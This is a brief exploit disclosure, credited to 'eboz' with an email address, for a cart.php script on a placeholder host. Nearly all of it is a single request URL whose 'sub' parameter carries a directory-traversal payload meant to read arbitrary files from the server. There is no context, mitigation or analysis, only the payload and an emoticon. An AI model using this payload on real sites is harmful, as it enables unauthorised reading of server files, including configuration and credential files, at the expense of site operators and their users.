discovered by eboz
eb0z@hotmail.com

http://target/cart.php?a=add&domain=transfer&runfunc?sub=/../../../../../../../../../[file]

;-)